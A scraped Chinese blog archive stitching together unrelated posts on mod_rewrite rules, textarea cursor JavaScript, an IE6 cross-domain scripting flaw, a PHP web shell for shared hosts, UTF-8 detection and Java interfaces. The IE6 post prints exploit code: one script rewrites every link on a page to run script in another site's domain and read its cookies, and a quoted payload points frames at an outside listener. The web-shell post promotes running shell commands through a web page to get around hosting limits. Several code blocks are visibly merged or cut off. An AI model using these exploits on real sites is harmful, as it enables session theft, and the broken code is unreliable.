有时候，会需要一种非常特殊的认证，即，对一组明确指定的用户，允许其访问，而没有(在使用mod_access的基本认证方法时可能会出现的)任何提示。
方案:
可是使用一个重写条件列表来排除所有的朋友：
| 代码: |
| RewriteCond %{REMOTE_IDENT}@%{REMOTE_HOST} !^friend1@client1.quux-corp\.com$ RewriteCond %{REMOTE_IDENT}@%{REMOTE_HOST} !^friend2@client2.quux-corp\.com$ RewriteCond %{REMOTE_IDENT}@%{REMOTE_HOST} !^friend3@client3.quux-corp\.com$ RewriteRule ^/~quux/only-for-friends/ - [F] |
基于提交者(Referer)的反射器
说明:
如何配置一个基于HTTP头”Referer”的反射器以反射到任意数量的提交页面?
方案:
使用这个很技巧的规则集…
| 代码: |
| RewriteMap deflector txt:/path/to/deflector.map
RewriteCond %{HTTP_REFERER} !=”" RewriteCond %{HTTP_REFERER} !=”" |
… 并结合对应的重写地图:
| 代码: |
| ## ## deflector.map ## http://www.badguys.com/bad/index.html - |
它可以自动将请求(在地图中指定了”-”值的时候)反射回其提交页面，或者(在地图中URL有第二个参数时)反射到一个特定的URL。
其他
外部重写引擎
说明:
一个常见的问题: 如何解决似乎无法用mod_rewrite解决的FOO/BAR/QUUX/之类的问题？
方案:
可以使用一个与RewriteMap功能相同的外部RewriteMap程序，一旦它在Apache启动时被执行，则从STDIN接收被请求的URL，并将处理过(通常是重写过的)的URL(以相同顺序!)在STDOUT输出。
| 代码: |
| RewriteEngine on RewriteMap quux-map prg:/path/to/map.quux.pl RewriteRule ^/~quux/(.*)$ /~quux/${quux-map:$1} |
| 代码: |
| #!/path/to/perl
# disable buffered I/O which would lead # read URLs one per line from stdin and |
这是一个作演示的例子，只是把所有的URL /~quux/foo/…重写为/~quux/bar/…，而事实上，可以把它修改以获得任何你需要的功能。但是要注意，虽然一般用户都可以使用，可是只有系统管理员才可以定义这样的地图。
Jul
08Javascript 获取 textarea 光标 文字 位置 内容 IE Firefox
最近帮朋友做一个获取文字内容，并处理选中文字的Javascript程序。
本来上网查查，用Firefox搞定了，包括Opera、Safari，不过到IE那里遇到很多问题！！！
还发现了IE的一个Bug！
就是
var objRange = document.selection.createRange();
var strRange = objRange.text;
objRange.moveEnd(”character”, intLenOfHaystack);
之后，objRange.text会莫名其妙的多出一个空格，实际上，是当前文档，有几个textarea标签，他就会多出几个空格！
真是奇怪的Bug！
唉，碰到IE，搞前端开发的会很头疼！
反复搞了几天，不断尝试新方法，终于找到一个IE的解决方案，就是从下面转载的地方查到的。
发在这里，为了留作备份。
代码放到GoogleCode中了，我自己写的是select_range.html，其他2个文件是测试不同的代码用的。
最后我总结了一个GetStringPosition函数，我基本测试了一下，所有浏览器都可用。欢迎大家测试！
http://leakon.googlecode.com/svn/trunk/leakon/javascript/select_range/
后面就是引用别人的内容了，我是从
http://hi.baidu.com/sihillver/blog/item/35e1c6333552b042ac4b5f6b.html
这里找到的，这个blog也是引用别人的内容，我就不去挨个感谢啦。
感谢所有为互联网创造有价值内容的人！谢谢！
在网上用baidu找了很久，找到的都是IE的方法，Firefox都不能用。 而且很多要用到<textarea>.focus()方法，用起来很不方便。
后来转用Google，搜了下”textarea cursor”，第一个就有好方法。我根据最后一个家伙的comments，写了一个sample，应该还是挺好用的。
原文地址：http://weblogs.asp.net/skillet/archive/2005/03/24/395838.aspx
<html>
<head>
<title>TEST</title>
<style>
body,td{
font-family: verdana, arial, helvetica, sans-serif;
font-size: 12px;
}
</style>
<script type=”text/javascript”>
var start=0;
var end=0;
function add(){
var textBox = document.getElementById(”ta”);
var pre = textBox.value.substr(0, start);
var post = textBox.value.substr(end);
textBox.value = pre + document.getElementById(”inputtext”).value + post;
}
function savePos(textBox){
//如果是Firefox(1.5)的话，方法很简单
if(typeof(textBox.selectionStart) == “number”){
start = textBox.selectionStart;
end = textBox.selectionEnd;
}
//下面是IE(6.0)的方法，麻烦得很，还要计算上’\n’
else if(document.selection){
var range = document.selection.createRange();
if(range.parentElement().id == textBox.id){
// create a selection of the whole textarea
var range_all = document.body.createTextRange();
range_all.moveToElementText(textBox);
//两个range，一个是已经选择的text(range)，一个是整个textarea(range_all)
//range_all.compareEndPoints()比较两个端点，如果range_all比range更往左(further to the left)，则 //返回小于0的值，则range_all往右移一点，直到两个range的start相同。
// calculate selection start point by moving beginning of range_all to beginning of range
for (start=0; range_all.compareEndPoints(”StartToStart”, range) < 0; start++)
range_all.moveStart(’character’, 1);
// get number of line breaks from textarea start to selection start and add them to start
// 计算一下\n
for (var i = 0; i <= start; i ++){
if (textBox.value.charAt(i) == ‘\n’)
start++;
}
// create a selection of the whole textarea
var range_all = document.body.createTextRange();
range_all.moveToElementText(textBox);
// calculate selection end point by moving beginning of range_all to end of range
for (end = 0; range_all.compareEndPoints(’StartToEnd’, range) < 0; end ++)
range_all.moveStart(’character’, 1);
// get number of line breaks from textarea start to selection end and add them to end
for (var i = 0; i <= end; i ++){
if (textBox.value.charAt(i) == ‘\n’)
end ++;
}
}
}
document.getElementById(”start”).value = start;
document.getElementById(”end”).value = end;
}
</script>
</head>
<body>
<form action=”a.cgi”>
<table border=”1″ cellspacing=”0″ cellpadding=”0″>
<tr>
<td>start: <input type=”text” id=”start” size=”3″/></td>
<td>end: <input type=”text” id=”end” size=”3″/></td>
</tr>
<tr>
<td colspan=”2″>
<textarea id=”ta” onKeydown=”savePos(this)”
onKeyup=”savePos(this)”
onmousedown=”savePos(this)”
onmouseup=”savePos(this)”
onfocus=”savePos(this)”
rows=”14″ cols=”50″></textarea>
</td>
</tr>
<tr>
<td><input type=”text” id=”inputtext” /></td>
<td><input type=”button” onClick=”add()” value=”Add Text”/></td>
</tr>
</table>
</form>
</body>
</html>
*************************************************************
<html>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>
<meta name=”GENERATOR” content=”Microsoft FrontPage 4.0″>
<meta name=”ProgId” content=”FrontPage.Editor.Document”>
<title>光标位置</title>
<style>
INPUT{border: 1 solid #000000}
BODY,TABLE{font-size: 10pt}
</style>
</head>
<body>
<table border=”0″ width=”700″ cellspacing=”0″ cellpadding=”0″>
<tr>
<td width=”479″ rowspan=”7″>
点击 TextArea 实现光标定位
<p>
<textarea rows=”7″ cols=”49″ id=”box” onclick=tellPoint()>我怕来不及我要抱着你，直到感觉你的绉纹有了岁月的痕迹，直到视线变得模糊直到不能呼吸
为了你我愿意
动也不能动也要看着你，直到感觉你的发线有了白雪的痕迹，直到肯定你是真的直到失去力气让我们形影不离
如果全世界我也可以放弃，至少还有你值得我去珍惜而你在这里就是生命的奇迹
也许全世界我也可以忘记，就是不愿意失去你的消息你掌心的痣我总记得在哪里
我们好不容易我们身不由已，我怕时间太快不够将你看仔细，我怕时间太慢日夜担心失去你恨不得一夜之间白头永不分离
</textarea>
<script>
function movePoint()
{
var pn = parseInt(pnum.value);
if(isNaN(pn))
return;
var rng = box.createTextRange();
rng.moveStart(”character”,pn);
rng.collapse(true);
rng.select();
returnCase(rng)
}
function tellPoint()
{
var rng = event.srcElement.createTextRange();
rng.moveToPoint(event.x,event.y);
rng.moveStart(”character”,-event.srcElement.value.length)
pnum.value = rng.text.length
returnCase(rng)
}
function returnCase(rng)
{
bh.innerText = rng.boundingHeight;
bl.innerText = rng.boundingLeft;
bt.innerText = rng.boundingTop;
bw.innerText = rng.boundingWidth;
ot.innerText = rng.offsetTop;
ol.innerText = rng.offsetLeft;
t.innerText = rng.text;
}
function selectText(sp,ep)
{
sp = parseInt(sp)
ep = parseInt(ep)
if(isNaN(sp)||isNaN(ep))
return;
var rng = box.createTextRange();
rng.moveEnd(”character”,-box.value.length)
rng.moveStart(”character”,-box.value.length)
rng.collapse(true);
rng.moveEnd(”character”,ep)
rng.moveStart(”character”,sp)
rng.select();
returnCase(rng);
}
var rg = box.createTextRange();
function findText(tw)
{
if(tw==”")
return;
var sw = 0;
if(document.selection)
{
sw = document.selection.createRange().text.length;
}
rg.moveEnd(”character”,box.value.length);
rg.moveStart(”character”,sw);
if(rg.findText(tw))
{
rg.select();
returnCase(rg);
}
if(rg.text!=tw)
{
alert(”已经搜索完了”)
rg = box.createTextRange()
}
}
</script>
</p>
<p></p>
光标位置：<input type=”text” value=”0″ id=”pnum” size=”8″> <input type=”button” onclick=”movePoint()” value=”移动光标到指定位置”>
<p></p>
选择指定范围：<input type=”text” size=”9″ id=”sbox”> — <input type=”text” size=”9″ id=”ebox”> <input type=”button” onclick=”selectText(sbox.value,ebox.value)” value=”选择”>
<p></p>
选择查找字符 ：<input type=”text” value=”" id=”cbox” size=”8″> <input type=”button” onclick=”findText(cbox.value)” value=”查找下一个并选择”>
</td>
<td width=”217″>boundingHeight: <span id=”bh”></span></td>
</tr>
<tr>
<td width=”217″>boundingWidth: <span id=”bw”></span></td>
</tr>
<tr>
<td width=”217″>boundingTop: <span id=”bt”></span></td>
</tr>
<tr>
<td width=”217″>boundingLeft: <span id=”bl”></span></td>
</tr>
<tr>
<td width=”217″>offsetLeft: <span id=”ol”></span> </td>
</tr>
<tr>
<td width=”217″>offsetTop: <span id=”ot”></span> </td>
</tr>
<tr>
<td width=”217″>text: <span style=”position: absolute; z-index: 10″ id=”t”></span> </td>
</tr>
</table>
</body>
</html>
*************************************************************
<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<HTML>
<HEAD>
<TITLE> 兼容firefox下选择textarea文字的js代码_脚本之家_www.jb51.net </TITLE>
<META NAME=”Generator” CONTENT=”EditPlus”>
<META NAME=”Author” CONTENT=”">
<META NAME=”Keywords” CONTENT=”">
<META NAME=”Description” CONTENT=”">
<script type=”text/javascript”>
function getSelectedText(){
var selectedText;
var textField=document.getElementById(’inputTextarea’);
if(window.getSelection) selectedText=getTextFieldSelection(textField);//getTextFieldSelection(document.getElementById(”inputTextArea”));
else selectedText=document.selection.createRange().text;
alert(selectedText);
}
function getTextFieldSelection(e){
//var oEvent=arguments.callee.caller.arguments[0];
if(e.selectionStart != undefined && e.selectionEnd != undefined)
return e.value.substring(e.selectionStart,e.selectionEnd);
else return “”;
}
</script>
<style type=”text/css”>
ul{
list-style:none;
}
</style>
</HEAD>
<BODY>
<ul>
<li>兼容firefox下选取textarea文本的方法</li>
<li><textarea id=”inputTextarea” rows=”6″ cols=”50″/>千万别相信我说的事情，我从来就没有这么勇敢过，这么壮烈过。我不断发誓要老老实实讲故事，可是说实话的愿望有多强烈，受到的各种干扰就有多大。我悲哀地发现根本就无法还原真相。记忆总是被我的情感改头换面，并随之捉弄我，背叛我。把我搞得头昏脑胀，真假难辩。</textarea></li>
<li><button onclick=”getSelectedText();”>获取选中的文字段</button></li>
</ul>
</BODY>
</HTML>
本文来自: 脚本之家(www.jb51.net) 详细出处参考：http://www.jb51.net/article/14735.htm
1.来自伪协议的呼唤
JAVASCRIPT里大家都频繁使用window对象，window对象代表的就是浏览器的窗口，我们
就来测试下window对象的open方法，尝试让新开的窗口执行伪协议。
在本机搭建一个WEB服务器，开始做下实验：
用各个浏览器浏览 http://127.0.0.1/test.htm ，下面是test.htm的脚本内容：
<script>
x=window.open(’about:blank’);
x.location=”javascript:alert(document.domain)”
</script>
结果是：
IE6：执行了伪协议，认为弹出窗口的域是127.0.0.1。
IE7：执行了伪协议，认为弹出窗口的域是127.0.0.1。
Firefox：执行了伪协议,认为还没有域为NULL。
Firefox这里对于这个接口可能也有个BUG，对于IP地址的弹窗Firefox没有辨认出域，但
是在实际绑定域名的情况下还是辨认出了域。
为了下面的部分方便理解，我把这里弹窗的关系给简称下，原来的窗口叫父页，弹出窗口
叫子页，实验过后我们证明了:
父页和子页都在同一个域里，父页可以重定向子页的URL地址，甚至执行伪协议。
2.父页和子页的关系
如果父页让子页访问其他域后，父页和子页是否就脱离关系了呢？
继续测试，用各个浏览器浏览 http://127.0.0.1/test2.htm ，下面是test2.htm的脚本
内容：
<script>
x=window.open(’about:blank’);
x.location=”http://www.163.com” //访问163网站
setTimeout(function(){
x.location=”http://127.0.0.1″;
},5000) //5秒后重定向到127.0.0.1
</script>
这次IE6、IE7、Firefox都达成了一致，实验的结果是子页访问了163网站，5秒然后又跳
回了127.0.0.1。
所以就算是子页在访问了其他域后，还是会受父页的控制。
3.域与域之间的牵绊
如果父页让子页访问某个域后，再执行伪协议会有什么效果？
用各个浏览器浏览 http://127.0.0.1/test3.htm，下面是test3.htm的脚本内容：
<script>
x=window.open(’about:blank’);
x.location=”http://www.163.com”
setTimeout(function(){
x.location=”javascript:alert(document.cookie)”;
},5000)
</script>
结果是：
IE6：没有反应。
IE7：报错，拒绝访问。
Firefox：报错，alert没有定义。
这些信息明显的说明，如果子页和父页不在同一个域里，浏览器是不允许父页控制子页
执行伪协议脚本的。
为了进一步验证，我们让子页打开同一个域里的页面测试：
用各个浏览器浏览 http://127.0.0.1/test4.htm，下面是test4.htm的脚本内容：
<script>
document.cookie=’xss:true’ //给本域设置一个COOKIE为xss:true
x=window.open(’about:blank’);
x.location=”http://127.0.0.1″
setTimeout(function(){
x.location=”javascript:alert(document.cookie)”;
},5000)
</script>
结果IE6、IE7、Firefox都顺利的弹出了COOKIE值，说明如果子页和父页在同一个域里，
浏览器是允许父页控制子页执行伪协议脚本的。
4.安全上的差异
父页和子页这种微妙的关系，到这里就开始引发安全问题了，PDP等大牛在分析鬼页的时
候给出了EXP:
javascript:x=open(’http://hackademix.net/’);setInterval(function(){try{x.frames[0].location={toString:function(){return ‘http://www.sirdarckcat.net/caballero-listener.html’;}}}catch(e){}},5000);void(1);
EXP按上面三部分的概念解释是：
父页是A域，父页指定子页访问B域内一个带框架的页面，父页就能够控制B域页面内框架
的URL地址，这个就是典型的跨域操作了。
鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制，第二个是让
location指定的地址看起来像个对象而不是参数。
我们按照鬼页的思路，继续在第3部分的基础上测试下去,将location指定的地址使用
new String()对象处理。
用各个浏览器浏览 http://127.0.0.1/test5.htm，下面是test5.htm的脚本内容：
<script>
x=window.open(’about:blank’);
x.location=”http://www.163.com”；
setTimeout(function(){
x.location=new String(”javascript:alert(document.cookie)”)
},5000)
</script>
IE6：弹出COOKIE。
IE7：报错，拒绝访问。
Firefox：报错，alert没有定义。
结果是IE6奇迹般的弹出了COOKIE，我们做到了跨域执行脚本。
5.灾难性的后果
到这里我们发现了一个IE6的0DAY，一定程度上这个跨域安全问题是灾难性的，如下面的
EXP：
<a href=”">IE6 Cross Domain Scripting</a>
<script>
function win(){
x=window.open(’http://www.phpwind.net’);
setTimeout(function(){
x.location=new String(”javascript:alert(document.cookie)”)
},3000)
}
window.onload=function(){
for (i=0;i<document.links.length;i++) {
document.links[i].href=”javascript:win()”
}
}
</script>
点击链接后，马上得到了PHPWIND论坛的COOKIE，这就意味着黑客通过类似的攻击可以得
到你访问过的任意网站的COOKIE，然后劫持你的会话。
这样的漏洞相当于一个没有域限制的XSS漏洞，几乎是无法防御的，网站只能进一步的加
强客户端的会话安全，如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的
请求操作加上水印等。
6.总结
这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏，没有考虑清楚不
同域有继承关系的window对象操作后的变化，只是对window对象的一些方法的参数做了类似
数据类型的限制，导致最后绕过限制跨域执行了脚本。
从这个漏洞我们也可以看出IE7的一些新的安全特性，通过继承关系的window对象操作
来跨域执行脚本伪协议最后是判断了域的，IE7已经开始防范类似的攻击。
但是这里并没有在本质上解决跨域安全问题，IE7只防范了跨域执行脚本，对于其他跨域
的操作仍然是放行的，所以鬼页在IE7下可以跨域操作框架URL，而Firefox却没有存在相同的
问题，说明不同浏览器在安全的考虑上也是存在很多差异的。
针对IE我又测试了其他对象方法，发现很多都被限制住了，但不排除还有同样的问题存
在。按照类似的思路，大家可以继续尝试挖掘浏览器的一些跨域漏洞。
最后感谢HI群里共同讨论的朋友。
7.参考
[1] Browser’s Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html
[2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/
Apr
17问题由来：
我买了美国的虚拟主机，机器性能很好，空间巨大（150G） ，唯一的也是最大的问题，就是访问速度慢。
其实服务器本身至少能保证3M的带宽，我用其他服务器，单线程wget美国主机的文件，都可以稳定地保持在300K/s以上。
但用浏览器访问，由于需要发起多次tcp连接，而每次连接只传很小的几k文件就立即断掉，所以很慢。
最让我抓狂的就是，我上传一个软件包，总大小也就4、5M，但文件数量特别多，至少有几百甚至上千，传这么一个文件夹，没有2小时根本完不了。
我就想，如果虚拟主机有命令行，可以执行压缩或解压命令就好了。
传单个文件，再慢，也能保证每秒50K，像这样几M的文件，几分钟就可以搞定。
但如何解压呢？
答案就是：web版的命令行工具。
最简单的，就是system或exec函数，可以像SSH客户端一样，执行我们想要的命令。
注意，有些虚拟主机限制执行system和exec这两个函数，但我做了测试，证明是有其他方法的，一会儿再说这个方法是什么。
请您看到这个方法后，不要大肆宣传，或利用这个方法做一些危害主机安全的操作。如果这个方法也被禁用了，那以后就再也没有类似的方法了。
有了web的ssh，我们该怎么用呢？
1、首先要有清晰的unix文件的路径知识，知道什么是绝对路径，什么是相对路径，如何引用一个路径，等等。因为web版ssh只能方便地在当前一个目录下操作，稍有不慎，就可能造成无法挽回的后果。
2、学会使用ls、df、du、cp、mv、tar、zip等常用命令。使用web版ssh的出发点，就是希望以后在上传或下载文件时，可以预先打包，然后只传一个文件，这样可以大大减少传输时间的浪费。因此，列出目录、复制、移动、压缩和解压，就是必备的命令工具。
3、web版ssh还有一个功能，就是可以执行命令行的MySQL！！！最近我刚试着迁移discuz论坛，俗称论坛搬家，就是把论坛从A服务器迁移（搬家）到B服务器，重要的过程就是dump数据库，再import。而传统的工具，只有phpmyadmin，导出sql文件到还容易，但导入到另一个服务器，尤其是导入到另一个虚拟主机的时候，会受B主机的上传文件大小限制，大文件没法导入。还有，就是我遇到的乱码问题，由于B主机的大小限制只有2M，我的sql有5M，没办法，只能先压缩。import的时候，没有出错，但是导完发现都是乱码。A服务器是utf8，B是gbk。import的时候，本来import时选择了utf8编码的，但貌似对zip压缩的sql文件无效，最终是按gbk编码导入utf8的sql文件，这必然是乱码啊，结果就是论坛变成“蝌蚪文”。逼得我没办法了，只能开发一个web版ssh工具，最后用 mysql –default-character-set=utf8 -uleakon -pleakon leakon < leakon.sql 这个命令行才成功导入。这回，导入过程快多了，瞬间完成，不必再等着phpmyadmin上传本地sql文件。这一切，多亏了我的ssh工具，也就是本为的主角：web_shell。
按说这不叫ssh，只是一个web的命令行转发函数，但为了大家搜索虚拟主机ssh的时候能方便一些，就故意写了好多ssh。
大家可以看看国外的虚拟主机，大部分都支持ssh，而且……
唉，我都不想重复这些了，国外主机的优势，真不是国内idc服务商们可以比的。国内用最烂的服务、最烂的技术、最烂的界面来提供的虚拟主机，价格却是国外的好几倍甚至几十倍。价格我真不想再说了，反正最贵的都比国内最便宜的便宜好多好多，而且服务好得更多。
跑题了，回来说我的web_shell。
这是我简单开发的一个辅助工具，专门解决我上文提到的各种问题，加了一个简单安全验证，文件放在服务上，别人无法使用，只有你自己能用。
源码在我的GoogleCode里可以找到，地址是：
http://leakon.googlecode.com/svn/trunk/leakon/php/web_shell/web_zip.php
现在充其量是alpha 0.0.0.1版，里面还有一大堆debug的注释，本来还想加入一些新功能，但没那么多时间，先解决眼前的问题吧。
使用的时候，需要自己写一个web_inc.php，里面只要定义一个AUTH_KEY就可以了，这是你的密钥，只有知道密钥的人才可以使用这个web_shell。
默认的密钥，我是用一个字符串加当天日期的md5写的，如何快速计算一个字符串的md5呢？我早就写了一个工具，也许大家都没注意过，我就再发一次吧：
http://code.leakon.com/php/tools/
可以做一些简单的编码、解码计算，很好用哦。
源码也在googlecode里，大家自己找吧。
盼望得到您的指点或回复，谢谢！
另，php本身还有一个popen，也可以执行命令，一般的虚拟主机都没禁用，还是那句话，请慎用，要是用烂了，以后也就没得用了。
Dec
09编码问题一直是做网站开发的工程师们很头疼的事，如果你希望自己的网站能够被更多不同语言环境的人浏览和使用，那就一定要解决好编码的问题。
我的经验是，从HTML页面的编码，到PHP程序文件的编码，到数据库的设计以及与PHP之间连接的编码，全部使用UTF-8，这样就能保证你的页面不会出现乱码。
不要总是觉得，你的网站是给中国人用的，不给其他国家的人使用。如果你的中国用户希望保存一些日文、韩文等亚洲文字， 你也没有理由拒绝吧？
还是在一开始就解决好编码的问题为好，做网站，免不了这一步，今天不做，以后迟早要还的。
如果你认为我说的毫无道理，那我给大家引用一篇W3C组织的官方说明吧：
http://www.w3.org/International/questions/qa-forms-utf-8.en.php
注意回答部分的第一句：The best way to deal with encoding issues in (X)HTML forms is to serve all your pages in UTF-8.
用UTF-8吧，肯定没错的，你可以避免很多很多问题。
不过，就算页面使用了UTF-8，也还是会遇到一个问题：
浏览器接收编码的转换问题。
就这个问题的说明，我做了一个测试页面，可以在我的Google SVN下载：
http://leakon.googlecode.com/svn/trunk/leakon/php/detect_utf8/
在浏览器里打开test.php页面即可。
这个页面是UTF-8编码的，如果你不是用SVN软件CheckOut而是直接复制的源码，请记得要把test.php这个文件保存成UTF-8格式。
这个页面有一个Form表单，你可以在输入框内输入中文，然后看地址栏里word字段的值，一个汉字对应3个%，因为UTF-8是变长编码的，针对不同的文字，%的数量是1-4个。
如果你熟悉GBK编码的页面，应该注意到每个汉字对应2个%，因为汉字都是双字节编码的。
这个时候，如果你足够细心，应该可以发现一个冲突的问题。
如果，我在浏览器的地址栏的word字段后面直接输入汉字，得到的是什么结果呢？给大家一个提示，这里最好使用Firefox浏览器，如果你在地址栏输入中文，Firefox会按照GBK的编码方式，按双字节编码，也就是一个汉字对应2个%。
可是你的页面默认是接收UTF-8编码的字符的，给你一个GBK编码，你会解析成乱码。
很多网站存在这个问题，包括Google和Yahoo。 他们只对各自的中文网站就解决了这个问题，英文的和日文的都没有处理。下面我们逐一测试一下：
我们给一个测试用例，中文：百度；GBK：%B0%D9%B6%C8；UTF-8：%E7%99%BE%E5%BA%A6。
看到了吧，GBK是4个%，UTF-8是6个%。
以上是对Google和Yahoo两大搜索引擎的中文、英文、日文网站进行UTF-8、GBK编码的访问。
可以看到，2家公司只对中文网站做了编码检查，发现不是UTF-8就对关键词进行编码转换，得到了正确的结果，英文和日文都没有处理，给GBK编码时得到的是乱码。
他们就忽略了英文和日文用户搜索中文的需求。
其实，这个问题不是不可以解决的，中文网站都做到了，其他语言的怎么就不行呢？
这个不讨论了，还是说说怎么检查UTF-8编码吧。
其实就是一段正则表达式：
大家从SVN里可以下载源码。
我封装了一个类，DetectUT8，用于检测和转换编码。
过程是这样的：如果检查到不是UTF-8编码，就进行GBK -> UTF-8的转换。因为在地址栏输入的非ASCII字符都会按照GBK编码。
转换函数会检查系统是否启用了 mbstring 函数库，如果没有，则改用 iconv 转换。
这里要注意一点，不要把UTF-8写成utf8，也不要写成其他格式，iconv 的检查比较严格。
如果内置了 mbstring 函数，还是用 mb_detect_encoding 比较保险，但经测试表明，用上面这段正则，编码检测的成功率和 mb_detect_encoding 没有差别。
还要重申一个问题，编码检测的可靠性不是 100%，但应用这种方法已经极大地改善了用户体验，建议大家都采用这种方式。
Dec
02计算机学院研二的兄弟与我讨论Java，一见面，几个问题全是关于接口，接口有什么用？为什么要用接口？什么时候该使用接口？很庆幸他们不是问我Java如何连接SQL Server，或者是如何开发J2EE应用，这类问题有杀伤力，避之则吉。今年计算机学院本科有个毕业设计课题是做J2ME，选这个题目的学生在5月末都还在苦着脸研究java.util.*这个包，这个这个……唉。
大多数人认为，接口的意义在于顶替多重继承。众所周知Java没有c 那样多重继承的机制，但是却能够实作多个接口。其实这样做是很牵强的，接口和继承是完全不同的东西，接口没有能力代替多重继承，也没有这个义务。接口的作用，一言以蔽之，就是标志类的类别（type of class）。把不同类型的类归于不同的接口，可以更好的管理他们。OO的精髓，我以为，是对对象的抽象，最能体现这一点的就是接口。为什么我们讨论设计模式都只针对具备了抽象能力的语言（比如c 、java、c#等），就是因为设计模式所研究的，实际上就是如何合理的去抽象。（cowboy的名言是“抽象就是抽去像的部分”，看似调侃，实乃至理）。
设计模式中最基础的是工厂模式（Factory），在我最近的一个很简单的应用中，我想尽量的让我的程序能够在多个数据库间移植，当然，这涉及很多问题，单是如何兼容不同DBMS的SQL就让人头痛。我们不妨先把问题简单化，只考虑如何连接不同的数据库。
假设我有很多个类，分别是Mysql.java、SQLServer.java、Oracle.java、DB2.java，他们分别连接不同的数据库，统一返回一个Connection对象，并且都有一个close方法，用于关闭连接。只需要针对你的DBMS，选择不同的类，就可以用了，但是我的用户他会使用什么数据库？我不知道，我希望的是尽量少的修改代码，就能满足他的需要。我可以抽象如下接口：
package org.bromon.test;
public interface DB
{
java.sql.Connection openDB(String url,String user,String password);
void close();
}
这个接口只定义两个方法，没有任何有实际意义的代码，具体的代码由实作这个接口的类来给出，比如Mysql.java：
Package org.bromon.test;
import java.sql.*;
public class Mysql implements DB
{
private String url=”jdbc:mysql:localhost:3306/test”;
private String user=”root”;
private String password=””;
private Connection conn;
public Connection openDB(url,user,password)
{
//连接数据库的代码
}
public void close()
{
//关闭数据库
}
}
类似的当然还有Oracle.java等等，接口DB给这些类归了个类，在应用程序中我们这样定义对象：
org.bromon.test.DB myDB;
使用myDB来操作数据库，就可以不用管实际上我所使用的是哪个类，这就是所谓的“开-闭”原则。但是问题在于接口是不能实例化的，myDB=new DB()，这样的代码是绝对错误的，我们只能myDB=new Mysql()或者myDB=new oracle()。麻烦了，我还是需要指定具体实例化的是哪个类，用了接口跟没用一样。所以我们需要一个工厂：
package org.bromon.test;
public class DBFactory
{
public static DB Connection getConn()
{
Return(new Mysql());
}
}
所以实例化的代码变成：myDB=DBFactory.getConn()；
这就是23种模式中最基础的普通工厂(Factory)，工厂类负责具体实例化哪个类，而其他的程序逻辑都是针对DB这个接口进行操作，这就是“针对接口编程”。责任都被推卸给工厂类了，当然你也可以继续定义工厂接口，继续把责任上抛，这就演变成抽象工厂(Abstract Factory)。
整个过程中接口不负责任何具体操作，其他的程序要连接数据库的话，只需要构造一个DB对象就OK，而不管工厂类如何变化。这就是接口的意义—-抽象。
继承的概念不用多说，很好理解。为什么要继承呢？因为你想重用代码？这绝对不是理由，继承的意义也在于抽象，而不是代码重用。如果对象A有一个run()方法，对象B也想有这个方法，所以有人就Class B extends A。这是不经大脑的做法。如果在B中实例化一个A，调用A的Run()方法，是不是可以达到同样的目的？如下：
Class B
{
A a=new A();
a.run();
}
这就是利用类的聚合来重用代码，是委派模式的雏形，是GoF一贯倡导的做法。
那么继承的意义何在？其实这是历史原因造成的，最开始的OO语言只有继承，没有接口，所以只能以继承来实现抽象，请一定注意，继承的本意在于抽象，而非代码重用（虽然继承也有这个作用），这是很多Java烂书最严重的错误之一，它们所造成的阴影，我至今还没有完全摆脱，坏书害人啊，尤其是入门类的，流毒太大。什么时候应该使用继承？只在抽象类中使用，其他情况下尽量不使用。抽象类也是不能实例化的，它仅仅提供一个模版而已，这就很能说明问题。
软件开发的万恶之源，一是重复代码而不是重用代码，二是烂用继承，尤以c 程序员为甚。Java中取缔多重继承，目的就是制止烂用继承，实是非常明智的做法，不过很多人都不理解。Java能够更好的体现设计，这是让我入迷的原因之一。